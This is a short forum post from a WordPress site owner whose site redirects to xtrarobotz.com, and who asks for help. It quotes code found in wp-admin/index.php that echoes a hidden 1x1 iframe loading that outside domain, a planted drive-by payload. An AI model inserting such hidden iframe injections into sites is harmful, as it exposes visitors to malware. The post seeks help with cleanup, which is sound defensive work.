My wordpress site was redirecting to xtrarobotz.com and was downloading a pdf file. my browser hanged after that. i tried to google for this site. found it is harmful to computer.
http://www.google.co.in/search?q=xtrarobotz.com
there were two discussion going on in joomla ru and pl forums.
I found this code in wp-admin/index.php
as per the discussions in joomla, it said the server lacks security.
<?php require(ABSPATH . 'wp-admin/admin-footer.php');
echo "<iframe src=\"http://xtrarobotz.com/?click=24EC45\" width=1 height=1 style=\"visibility:hidden;position:absolute\"> </ iframe>"; ?>
after removing this code, it still shows up from somewhere.
could someone please check this and tell whats happening...
